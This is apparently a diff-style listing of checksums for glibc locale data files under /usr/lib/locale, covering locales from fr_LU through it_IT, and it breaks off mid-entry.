+50ae7038078ef7f40fdb98a6589b658f /usr/lib/locale/fr_LU@euro/LC_MONETARY +6634aac84801e2c2871afedc4e258893 /usr/lib/locale/fr_LU@euro/LC_CTYPE +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/fr_LU@euro/LC_MEASUREMENT +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/fr_LU@euro/LC_COLLATE +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/fr_LU@euro/LC_PAPER +1b0d9ccc475b3ee8255f9c7b0bc4aba1 /usr/lib/locale/fr_LU@euro/LC_NUMERIC +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/fr_LU@euro/LC_NAME +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/fr_LU@euro/LC_ADDRESS +49f48bab50570670989cdaadaeaa2b85 /usr/lib/locale/ga_IE/LC_MESSAGES/SYS_LC_MESSAGES +afe1879f575da0b36a683aa54c88adda /usr/lib/locale/ga_IE/LC_TIME +d04fe03eecaecd6b0554ca2317568662 /usr/lib/locale/ga_IE/LC_IDENTIFICATION +490e86e94d658fa919b179a8df400134 /usr/lib/locale/ga_IE/LC_TELEPHONE +4e85b26e337c74986496b122151a62cb /usr/lib/locale/ga_IE/LC_MONETARY +5a0d7365ae442bb043e74cf258fcb8ec /usr/lib/locale/ga_IE/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/ga_IE/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/ga_IE/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/ga_IE/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/ga_IE/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/ga_IE/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/ga_IE/LC_ADDRESS +27a5817dfa883d118137fff0890e5024 /usr/lib/locale/ga_IE.utf8/LC_MESSAGES/SYS_LC_MESSAGES +efc5d3e94138e6106a5fa468a30bc2fa /usr/lib/locale/ga_IE.utf8/LC_TIME +ff3ae679a1a9fb3446d027f9ef36e7f1 /usr/lib/locale/ga_IE.utf8/LC_IDENTIFICATION +741f3ece6413e87b522f7ff5a6bd50ee /usr/lib/locale/ga_IE.utf8/LC_TELEPHONE +0f17b624b589337260c82dc6b9e6ab5d /usr/lib/locale/ga_IE.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/ga_IE.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/ga_IE.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/ga_IE.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/ga_IE.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/ga_IE.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/ga_IE.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/ga_IE.utf8/LC_COLLATE +27a5817dfa883d118137fff0890e5024 /usr/lib/locale/ga_IE.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +efc5d3e94138e6106a5fa468a30bc2fa /usr/lib/locale/ga_IE.utf8@euro/LC_TIME +95908422414128d60c8ff5ccf1920521 /usr/lib/locale/ga_IE.utf8@euro/LC_IDENTIFICATION +741f3ece6413e87b522f7ff5a6bd50ee /usr/lib/locale/ga_IE.utf8@euro/LC_TELEPHONE +dd43aa8466fc64bee70a3a9a23450e94 /usr/lib/locale/ga_IE.utf8@euro/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/ga_IE.utf8@euro/LC_MEASUREMENT +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/ga_IE.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/ga_IE.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/ga_IE.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/ga_IE.utf8@euro/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/ga_IE.utf8@euro/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/ga_IE.utf8@euro/LC_COLLATE +3e05729f378e44edc96d992075500e45 /usr/lib/locale/ga_IE@euro/LC_MESSAGES/SYS_LC_MESSAGES +82c018aeafeff6c53e695ce0cbeb3407 /usr/lib/locale/ga_IE@euro/LC_TIME +209de12d0b73ecd4dff40ad9947e2f89 /usr/lib/locale/ga_IE@euro/LC_IDENTIFICATION +e9c19ea15c53743150413695ed0dd575 /usr/lib/locale/ga_IE@euro/LC_TELEPHONE +99520b53fc1f08dbd69469b3dfd27b4e /usr/lib/locale/ga_IE@euro/LC_NUMERIC +c3cd673a1f4210ca376b8789ba85fb99 /usr/lib/locale/ga_IE@euro/LC_MONETARY +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/ga_IE@euro/LC_COLLATE +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/ga_IE@euro/LC_PAPER +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/ga_IE@euro/LC_NAME +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/ga_IE@euro/LC_MEASUREMENT +d9b1fa625a566959a39b3dd9b3036d0a /usr/lib/locale/ga_IE@euro/LC_CTYPE +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/ga_IE@euro/LC_ADDRESS +a93478999468ef1939d375ce52ba8c4a /usr/lib/locale/gl_ES/LC_MESSAGES/SYS_LC_MESSAGES +30030f84aa3b9443ce9d1e577b59af20 /usr/lib/locale/gl_ES/LC_TIME +77b85bbfe14ce2ff1fe77743b0d020f6 /usr/lib/locale/gl_ES/LC_IDENTIFICATION +f6ec6d523c3fde8db0553398621ae250 /usr/lib/locale/gl_ES/LC_TELEPHONE +b0b15bfecfeee4246fe449185cb7a37d /usr/lib/locale/gl_ES/LC_MONETARY +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/gl_ES/LC_MEASUREMENT +a493f90653bb36e686ceb69c4277cb49 /usr/lib/locale/gl_ES/LC_COLLATE +e87e3620d7ee9b382318942244365662 /usr/lib/locale/gl_ES/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/gl_ES/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/gl_ES/LC_NAME +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/gl_ES/LC_CTYPE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/gl_ES/LC_ADDRESS +1b4df49fc879153d601755d8f937fb47 /usr/lib/locale/gl_ES.utf8/LC_MESSAGES/SYS_LC_MESSAGES +b239dc534d124fc65207da9b83501cb0 /usr/lib/locale/gl_ES.utf8/LC_TIME +a924a60ab51f0942970c70dd85309b30 /usr/lib/locale/gl_ES.utf8/LC_IDENTIFICATION +5ec365c96086da7afcbcde5b4b764418 /usr/lib/locale/gl_ES.utf8/LC_TELEPHONE +2642a46edd94dbbfbefc6005b0b49338 /usr/lib/locale/gl_ES.utf8/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/gl_ES.utf8/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/gl_ES.utf8/LC_NUMERIC +975dd575363cf2cccec59cec0036dcb4 /usr/lib/locale/gl_ES.utf8/LC_COLLATE +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/gl_ES.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/gl_ES.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/gl_ES.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/gl_ES.utf8/LC_CTYPE +1b4df49fc879153d601755d8f937fb47 /usr/lib/locale/gl_ES.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +b239dc534d124fc65207da9b83501cb0 /usr/lib/locale/gl_ES.utf8@euro/LC_TIME +b564fe0580478b86917ef04f6a3d8a55 /usr/lib/locale/gl_ES.utf8@euro/LC_IDENTIFICATION +5ec365c96086da7afcbcde5b4b764418 /usr/lib/locale/gl_ES.utf8@euro/LC_TELEPHONE +3d7a1219892806152491159f217f6fa0 /usr/lib/locale/gl_ES.utf8@euro/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/gl_ES.utf8@euro/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/gl_ES.utf8@euro/LC_NUMERIC +975dd575363cf2cccec59cec0036dcb4 /usr/lib/locale/gl_ES.utf8@euro/LC_COLLATE +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/gl_ES.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/gl_ES.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/gl_ES.utf8@euro/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/gl_ES.utf8@euro/LC_CTYPE +67a2530012ffbdff3472d8c247e43591 /usr/lib/locale/gl_ES@euro/LC_MESSAGES/SYS_LC_MESSAGES +1378aaff5642cabc78270a0d34cdad1f /usr/lib/locale/gl_ES@euro/LC_TIME +21f1553a79e5607bfe39a27505094c80 /usr/lib/locale/gl_ES@euro/LC_IDENTIFICATION +ff3f5c3bcfc40df3aab96c3011f53b59 /usr/lib/locale/gl_ES@euro/LC_TELEPHONE +855e30f44302ddb302743fb6d061b462 /usr/lib/locale/gl_ES@euro/LC_MONETARY +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/gl_ES@euro/LC_MEASUREMENT +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/gl_ES@euro/LC_PAPER +1b0d9ccc475b3ee8255f9c7b0bc4aba1 /usr/lib/locale/gl_ES@euro/LC_NUMERIC +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/gl_ES@euro/LC_NAME +d9b1fa625a566959a39b3dd9b3036d0a /usr/lib/locale/gl_ES@euro/LC_CTYPE +4fe7b10dd96e3a6974fb88831c8165b6 /usr/lib/locale/gl_ES@euro/LC_COLLATE +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/gl_ES@euro/LC_ADDRESS +43946a0654a4236ebc9609a6d226cd4e /usr/lib/locale/gv_GB/LC_MESSAGES/SYS_LC_MESSAGES +3bcdcc07135715e4fc88bc22bb244cc9 /usr/lib/locale/gv_GB/LC_TIME +53334fa09cc459c1d23834e7abe6d3e9 /usr/lib/locale/gv_GB/LC_IDENTIFICATION +79e6e7722f5bf02611b6e9a4354137b3 /usr/lib/locale/gv_GB/LC_TELEPHONE +33d7854cbc36a1ed3ba1a5a9b9642cbf /usr/lib/locale/gv_GB/LC_MONETARY +5a0d7365ae442bb043e74cf258fcb8ec /usr/lib/locale/gv_GB/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/gv_GB/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/gv_GB/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/gv_GB/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/gv_GB/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/gv_GB/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/gv_GB/LC_ADDRESS +cfd8a97f286e921e9213cdaf077a609f /usr/lib/locale/gv_GB.utf8/LC_MESSAGES/SYS_LC_MESSAGES +f67c248bf71d8a13a19e136ed4b5a50f /usr/lib/locale/gv_GB.utf8/LC_TIME +6757f5f71b8de67f4c2d4ba11c6b23fa /usr/lib/locale/gv_GB.utf8/LC_IDENTIFICATION +47d722ab5512bc9c0e6072351c882734 /usr/lib/locale/gv_GB.utf8/LC_TELEPHONE +722124aa3afd8fe54af84c7d5aa6ee9e /usr/lib/locale/gv_GB.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/gv_GB.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/gv_GB.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/gv_GB.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/gv_GB.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/gv_GB.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/gv_GB.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/gv_GB.utf8/LC_COLLATE +c4a280d58a68b07175b7781cd42c9fc8 /usr/lib/locale/he_IL/LC_MESSAGES/SYS_LC_MESSAGES +995060cbd30ade1be8f51a0ce1b5949e /usr/lib/locale/he_IL/LC_TIME +70767c7dda813f0641da8e31351fbe82 /usr/lib/locale/he_IL/LC_IDENTIFICATION +afd9f732f5f1276b3a63c57f69ee92f4 /usr/lib/locale/he_IL/LC_TELEPHONE +2d0e5557259f6d109575e3f648b788a2 /usr/lib/locale/he_IL/LC_PAPER +54854dd0c715359e0f8cdc47a27c254b /usr/lib/locale/he_IL/LC_NUMERIC +71da7dfc7b6cb50781f4a5f16118efca /usr/lib/locale/he_IL/LC_NAME +833957cb273b6a84f068f7e4c8884f95 /usr/lib/locale/he_IL/LC_MONETARY +e13eb9ab008b50357c864b0a03155791 /usr/lib/locale/he_IL/LC_MEASUREMENT +87649e2fdc0ae786eec024b7b32e5978 /usr/lib/locale/he_IL/LC_CTYPE +aa02608288949bfd8498bd4fa90beac0 /usr/lib/locale/he_IL/LC_COLLATE +675d708f10b837021259d7175274c6be /usr/lib/locale/he_IL/LC_ADDRESS +e07e1094e991466816a1319fa82a9a2d /usr/lib/locale/he_IL.utf8/LC_MESSAGES/SYS_LC_MESSAGES +534f871850019a109ef70f6253f87cc8 /usr/lib/locale/he_IL.utf8/LC_TIME +49aeadea147b7d16f41365769f96e559 /usr/lib/locale/he_IL.utf8/LC_IDENTIFICATION +fb73509f645762c598340ed953c86836 /usr/lib/locale/he_IL.utf8/LC_TELEPHONE +28178671b7fac1468e4a552093dc2068 /usr/lib/locale/he_IL.utf8/LC_MONETARY +25bea281b7df587a92c8fcf2124e83af /usr/lib/locale/he_IL.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/he_IL.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/he_IL.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/he_IL.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/he_IL.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/he_IL.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/he_IL.utf8/LC_COLLATE +f28b031f31d9c911cfec625d850ed942 /usr/lib/locale/hi_IN/LC_MESSAGES/SYS_LC_MESSAGES +e2b7d978cbcc9567ad6185ff69f71724 /usr/lib/locale/hi_IN/LC_TIME +6b3a5d4c784249b902e6d721f2b985d0 /usr/lib/locale/hi_IN/LC_IDENTIFICATION +94557c17644e850a652716e215945261 /usr/lib/locale/hi_IN/LC_TELEPHONE +1500caeef8f1b40d46f5fe18b235d6ed /usr/lib/locale/hi_IN/LC_MONETARY +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/hi_IN/LC_PAPER +090083a6859338a517a96550cab8d845 /usr/lib/locale/hi_IN/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/hi_IN/LC_MEASUREMENT +5ff44f043d7bfa890f85a1a84d8fab29 /usr/lib/locale/hi_IN/LC_NUMERIC +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/hi_IN/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/hi_IN/LC_COLLATE +6280a46712a02caa517d7acc8d60c117 /usr/lib/locale/hi_IN/LC_ADDRESS +18db77ce3d8ccaf96176b2f83ffbd91a /usr/lib/locale/hr_HR/LC_IDENTIFICATION +5ccc38db45dc18e15a95595b495b3b16 /usr/lib/locale/hr_HR/LC_COLLATE +b8095f6916138dc19e322777fc178fdc /usr/lib/locale/hr_HR/LC_MESSAGES/SYS_LC_MESSAGES +6d250cedf9dd2042c715527ac547ae43 /usr/lib/locale/hr_HR/LC_TELEPHONE +93592d08cea0b07420ec6b89be3ab42a /usr/lib/locale/hr_HR/LC_MONETARY +9f0433753d11fa45ef41781a733b397d /usr/lib/locale/hr_HR/LC_PAPER +64262efeeebd1bb0935e1946f9523449 /usr/lib/locale/hr_HR/LC_TIME +345396e85397d99eb778c78c9e230127 /usr/lib/locale/hr_HR/LC_MEASUREMENT +58306a9719ddd8e8571a3a8613942b8a /usr/lib/locale/hr_HR/LC_NUMERIC +b7314dd94bccc78bd7a61dfeae8cb406 /usr/lib/locale/hr_HR/LC_NAME +9174f7d4132578f44edd640c13510279 /usr/lib/locale/hr_HR/LC_CTYPE +5eacd696a4820a0de5e31f518a50a56a /usr/lib/locale/hr_HR/LC_ADDRESS +5667bff16a6a86a4494a304d0cfd9dcb /usr/lib/locale/hr_HR.utf8/LC_IDENTIFICATION +195449603264c77c206f322f1473b351 /usr/lib/locale/hr_HR.utf8/LC_COLLATE +a37f7eb07db90b75ee547b9c0e875491 /usr/lib/locale/hr_HR.utf8/LC_MESSAGES/SYS_LC_MESSAGES +2885650db60ce07a036faf5ecad1a449 /usr/lib/locale/hr_HR.utf8/LC_TELEPHONE +bc5cdb09c69f0711bec18287ecaa4181 /usr/lib/locale/hr_HR.utf8/LC_MONETARY +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/hr_HR.utf8/LC_NUMERIC +0abf345cb0af9ada39ff323156372aa7 /usr/lib/locale/hr_HR.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/hr_HR.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/hr_HR.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/hr_HR.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/hr_HR.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/hr_HR.utf8/LC_CTYPE +65590b6eb51fe20f6c592469aa524093 /usr/lib/locale/hu_HU/LC_IDENTIFICATION +4b45cbdd6b37c4cffa22e370670c09d0 /usr/lib/locale/hu_HU/LC_COLLATE +16731a5abbc2041dbfb2d0ab94995f8e /usr/lib/locale/hu_HU/LC_MESSAGES/SYS_LC_MESSAGES +717d1d9195608c069f31289d5a249e04 /usr/lib/locale/hu_HU/LC_TELEPHONE +fec9a21f3e529c79a2098283bd360857 /usr/lib/locale/hu_HU/LC_MONETARY +9f0433753d11fa45ef41781a733b397d /usr/lib/locale/hu_HU/LC_PAPER +1371a725e8d653a4faa9af1c8e96c9ae /usr/lib/locale/hu_HU/LC_TIME +345396e85397d99eb778c78c9e230127 /usr/lib/locale/hu_HU/LC_MEASUREMENT +58306a9719ddd8e8571a3a8613942b8a /usr/lib/locale/hu_HU/LC_NUMERIC +b7314dd94bccc78bd7a61dfeae8cb406 /usr/lib/locale/hu_HU/LC_NAME +9174f7d4132578f44edd640c13510279 /usr/lib/locale/hu_HU/LC_CTYPE +5eacd696a4820a0de5e31f518a50a56a /usr/lib/locale/hu_HU/LC_ADDRESS +491817e0894a7c123f199a57ea43182e /usr/lib/locale/hu_HU.utf8/LC_IDENTIFICATION +b69e37d142b69045616091e9ff0e64a8 /usr/lib/locale/hu_HU.utf8/LC_COLLATE +3c53b2ff806416c2a2e55eb65e1001f6 /usr/lib/locale/hu_HU.utf8/LC_MESSAGES/SYS_LC_MESSAGES +aa6d7fb8559d0fc84cbb25e36fd1043c /usr/lib/locale/hu_HU.utf8/LC_TELEPHONE +58db0682cb568116fed9193b81992053 /usr/lib/locale/hu_HU.utf8/LC_MONETARY +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/hu_HU.utf8/LC_NUMERIC +a6e62629ba8972c6f17000629af89378 /usr/lib/locale/hu_HU.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/hu_HU.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/hu_HU.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/hu_HU.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/hu_HU.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/hu_HU.utf8/LC_CTYPE +52ae7c7db3be6c72bb7f71859e8118a3 /usr/lib/locale/id_ID/LC_MESSAGES/SYS_LC_MESSAGES +25291ce53b75a22091ee9da45dd71f2f /usr/lib/locale/id_ID/LC_TIME +cb5e659e08b2a1911b47949b6d7419e3 /usr/lib/locale/id_ID/LC_IDENTIFICATION +74236d10ed5c4e3c7710b30ab20b61fd /usr/lib/locale/id_ID/LC_TELEPHONE +1e50ce9dd00e9b165193e2c84431328b /usr/lib/locale/id_ID/LC_MONETARY +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/id_ID/LC_MEASUREMENT +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/id_ID/LC_PAPER +9803aabd8b3564c9febbd871fd579a3c /usr/lib/locale/id_ID/LC_NUMERIC +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/id_ID/LC_NAME +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/id_ID/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/id_ID/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/id_ID/LC_ADDRESS +ad2df5c320c45c2327c340233543116a /usr/lib/locale/id_ID.utf8/LC_MESSAGES/SYS_LC_MESSAGES +1cfdec6b86d108af33fe23400934265a /usr/lib/locale/id_ID.utf8/LC_TIME +d51494e5eb7c192e197c7fff33cc3188 /usr/lib/locale/id_ID.utf8/LC_IDENTIFICATION +1ad79680f85bd9f348ec7be88250970a /usr/lib/locale/id_ID.utf8/LC_TELEPHONE +5d56cfb384c980b271364cccc6b03da5 /usr/lib/locale/id_ID.utf8/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/id_ID.utf8/LC_MEASUREMENT +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/id_ID.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/id_ID.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/id_ID.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/id_ID.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/id_ID.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/id_ID.utf8/LC_COLLATE +bce521dcc633ddab483808a7fcc92479 /usr/lib/locale/is_IS/LC_IDENTIFICATION +0d5166b165897275e8a2ddc4a32af2ba /usr/lib/locale/is_IS/LC_COLLATE +ce8d9ca9f8edd55645f0971b95492154 /usr/lib/locale/is_IS/LC_MESSAGES/SYS_LC_MESSAGES +78b20cb8e56d5128061c20edfd8b66e9 /usr/lib/locale/is_IS/LC_TELEPHONE +3f22797e205fd98b13dd245a400784b7 /usr/lib/locale/is_IS/LC_MONETARY +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/is_IS/LC_PAPER +fb06f4fed080b323b5a8cd403fb5934f /usr/lib/locale/is_IS/LC_TIME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/is_IS/LC_MEASUREMENT +9803aabd8b3564c9febbd871fd579a3c /usr/lib/locale/is_IS/LC_NUMERIC +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/is_IS/LC_NAME +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/is_IS/LC_CTYPE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/is_IS/LC_ADDRESS +0229e648bd9b485f477e87c9057c0064 /usr/lib/locale/is_IS.utf8/LC_IDENTIFICATION +62b3ce4673780f03116bc914bf306e0d /usr/lib/locale/is_IS.utf8/LC_COLLATE +ca29ba41191a843b02d298daed8025e3 /usr/lib/locale/is_IS.utf8/LC_MESSAGES/SYS_LC_MESSAGES +b235226c328419039cca176307bb4fc4 /usr/lib/locale/is_IS.utf8/LC_TELEPHONE +506993dfc3cd7ff59d552431aaf2a9a8 /usr/lib/locale/is_IS.utf8/LC_MONETARY +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/is_IS.utf8/LC_NUMERIC +2dc52af006f7ff5076ec304fd0cbf78c /usr/lib/locale/is_IS.utf8/LC_TIME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/is_IS.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/is_IS.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/is_IS.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/is_IS.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/is_IS.utf8/LC_CTYPE +18e3103f64a2bb53c74da1c616a58092 /usr/lib/locale/it_CH/LC_MESSAGES/SYS_LC_MESSAGES +cd009d7535258d60e7ff74c4749d4e3c /usr/lib/locale/it_CH/LC_TIME +a0de46dc74418ef2c43ab25d72669f12 /usr/lib/locale/it_CH/LC_IDENTIFICATION +1364976beffe21d85038dcea601c1406 /usr/lib/locale/it_CH/LC_TELEPHONE +df756c15afd29d8127274f163c9db191 /usr/lib/locale/it_CH/LC_NUMERIC +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/it_CH/LC_MEASUREMENT +45363dab640ad5556e7aa902d46135ee /usr/lib/locale/it_CH/LC_MONETARY +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/it_CH/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/it_CH/LC_NAME +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/it_CH/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/it_CH/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/it_CH/LC_ADDRESS +459b3c0dfbcef5848a95fa3fe7777c05 /usr/lib/locale/it_CH.utf8/LC_MESSAGES/SYS_LC_MESSAGES +d305d0797b8b8f2684965b3256e625e7 /usr/lib/locale/it_CH.utf8/LC_TIME +653a133c68c8c913a29ecf52922c6d55 /usr/lib/locale/it_CH.utf8/LC_IDENTIFICATION +3d4bee0c4beb5bc7f96ea8489cf2a0c4 /usr/lib/locale/it_CH.utf8/LC_TELEPHONE +0614b9596b73ec71405a146c0c362d5d /usr/lib/locale/it_CH.utf8/LC_NUMERIC +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/it_CH.utf8/LC_MEASUREMENT +1f9660ea9082e43e0b4ed2d245d9cbab /usr/lib/locale/it_CH.utf8/LC_MONETARY +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/it_CH.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/it_CH.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/it_CH.utf8/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/it_CH.utf8/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/it_CH.utf8/LC_COLLATE +a93478999468ef1939d375ce52ba8c4a /usr/lib/locale/it_IT/LC_MESSAGES/SYS_LC_MESSAGES +56f530846825770e67994684c28a2cfa /usr/lib/locale/it_IT/LC_TIME +f1a7d09132372cede61cbdc2c58e274c /usr/lib/locale/it_IT/LC_IDENTIFICATION +c6e8dad3624330b4c05f2c2eb1b2675a /usr/lib/locale/it_IT/LC_TELEPHONE +5535b467b72fabb1b27ae5b5e14b23b2 /usr/lib/locale/it_IT/LC_MONETARY +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/it_IT/LC_MEASUREMENT +e87e3620d7ee9b382318942244365662 /usr/lib/locale/it_IT/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/it_IT/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/it_IT/LC_NAME +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/it_IT/LC_CTYPE +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/it_IT/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/it_IT/LC_ADDRESS +1b4df49fc879153d601755d8f937fb47 /usr/lib/locale/it_IT.utf8/LC_MESSAGES/SYS_LC_MESSAGES +29761b6565e5f7536e0e0d8c43a50c98 /usr/lib/locale/it_IT.utf8/LC_TIME +0836e0211a8d3686dc3920838b9c8fac 